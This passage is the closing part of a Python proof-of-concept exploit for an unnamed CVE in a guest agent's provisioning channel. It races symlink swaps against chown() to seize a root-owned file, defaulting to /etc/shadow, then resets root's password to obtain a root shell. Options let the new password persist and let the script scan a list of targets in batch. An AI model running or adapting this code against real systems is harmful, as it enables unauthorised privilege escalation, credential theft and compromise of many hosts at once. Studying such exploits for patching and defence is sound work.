                won, sent, errors, before, after = phase_race(
                    st, args.target_file, keys, args.iterations, args.spinners, args.batch)
                results["C"] = won
                section("PRIMITIVE C - RACE RESULT",
                        "provisioning calls : %d (%d agent errors)\n%s before : %s\n%s after  : %s"
                        % (sent, errors, args.target_file, before, args.target_file, after))
                if not won:
                    if results.get("A") or results.get("B"):
                        done(False, "deterministic primitives landed but the chown() window was not hit "
                                    "in %d calls, raise --iterations or --spinners" % sent)
                    done(False, "no primitive landed in %d calls, the target looks patched" % sent)
    
                step(6, "Converting ownership of %s into root..." % args.target_file)
                got_root, root_id, password, _orig = phase_escalate(
                    st, args.target_file, fh, args.keep_access)
                if not got_root:
                    section("ESCALATION", "ownership of %s was obtained but the password change did "
                                          "not yield a root shell" % args.target_file)
                    done(False, "took ownership of %s as %s but could not complete the login"
                         % (args.target_file, username))
                section("ROOT SHELL", "%s\nreached from a session that started as %s"
                        % (root_id, username))
                if args.keep_access:
                    print("        --keep-access: root's password is left set to %s" % password)
                done(True, "Root obtained - %s (started as %s, %d provisioning calls, agent used only "
                           "for %s)" % (root_id, username, sent, PROVISION_CMD))
    
            # phase A only
            if results.get("A") or results.get("B"):
                done(True, "Symlink following confirmed as %s: %s"
                     % (username, ", ".join(k for k, v in results.items() if v)))
            done(False, "no primitive landed, the target looks patched")
    
        finally:
            try:
                if st:
                    st.reset_ssh_dir(real_dir=False)
                    fh.run("rm -rf %s" % q(st.workdir))
            except Exception:
                pass
            if fh:
                fh.close()
            agent.close()
    
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
        target_grp = parser.add_mutually_exclusive_group(required=True)
        target_grp.add_argument("--host", help="Target: hostname, IP or URL of the guest agent "
                                               "management channel (e.g. tcp://host:4444)")
        target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
        parser.add_argument("--port", type=int, default=4444,
                            help="Guest agent management channel port (default: 4444)")
        parser.add_argument("--username", default=None,
                            help="Unprivileged guest account you already control and escalate from; "
                                 "also the account named in the provisioning call")
        parser.add_argument("--password", default=None, help="Password for that account")
        parser.add_argument("--ssh-key", default=None, help="Private key for that account instead of a password")
        parser.add_argument("--ssh-port", type=int, default=22, help="SSH port of the guest (default: 22)")
        parser.add_argument("--local", action="store_true",
                            help="You are already on the guest as that account, run staging locally")
        parser.add_argument("--target-file", default="/etc/shadow",
                            help="Root-owned file to take ownership of via the race (default: /etc/shadow)")
        parser.add_argument("--read-file", default="/etc/shadow",
                            help="Root-owned file to read via the deterministic read primitive "
                                 "(default: /etc/shadow)")
        parser.add_argument("--root-dir", default="/root/.ssh",
                            help="Existing root-owned directory for the deterministic primitive "
                                 "(default: /root/.ssh)")
        parser.add_argument("--iterations", type=int, default=2000,
                            help="Provisioning calls to spend on the race (default: 2000)")
        parser.add_argument("--spinners", type=int, default=4,
                            help="Symlink swapper processes on the guest (default: 4)")
        parser.add_argument("--batch", type=int, default=25,
                            help="Calls between ownership checks (default: 25)")
        parser.add_argument("--phase", choices=("all", "a", "b"), default="all",
                            help="all, a (deterministic primitives only) or b (race only)")
        parser.add_argument("--keep-access", action="store_true",
                            help="Leave the new root password in place instead of restoring the original")
        parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
        tls_grp = parser.add_mutually_exclusive_group()
        tls_grp.add_argument("--tls", action="store_true", help="Force TLS on the management channel")
        tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
        args = parser.parse_args()
    
        if args.list:
            scan(args.list, default_port=args.port, workers=args.workers,
                 username=args.username, password=args.password, keyfile=args.ssh_key,
                 ssh_port=args.ssh_port, target_file=args.target_file,
                 iterations=args.iterations, spinners=args.spinners)
        else:
            parsed = _parse_target(args.host, args.port)
            host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
            if args.tls:
                use_tls = True
            if args.no_tls:
                use_tls = False
            exploit(host, port, use_tls, args)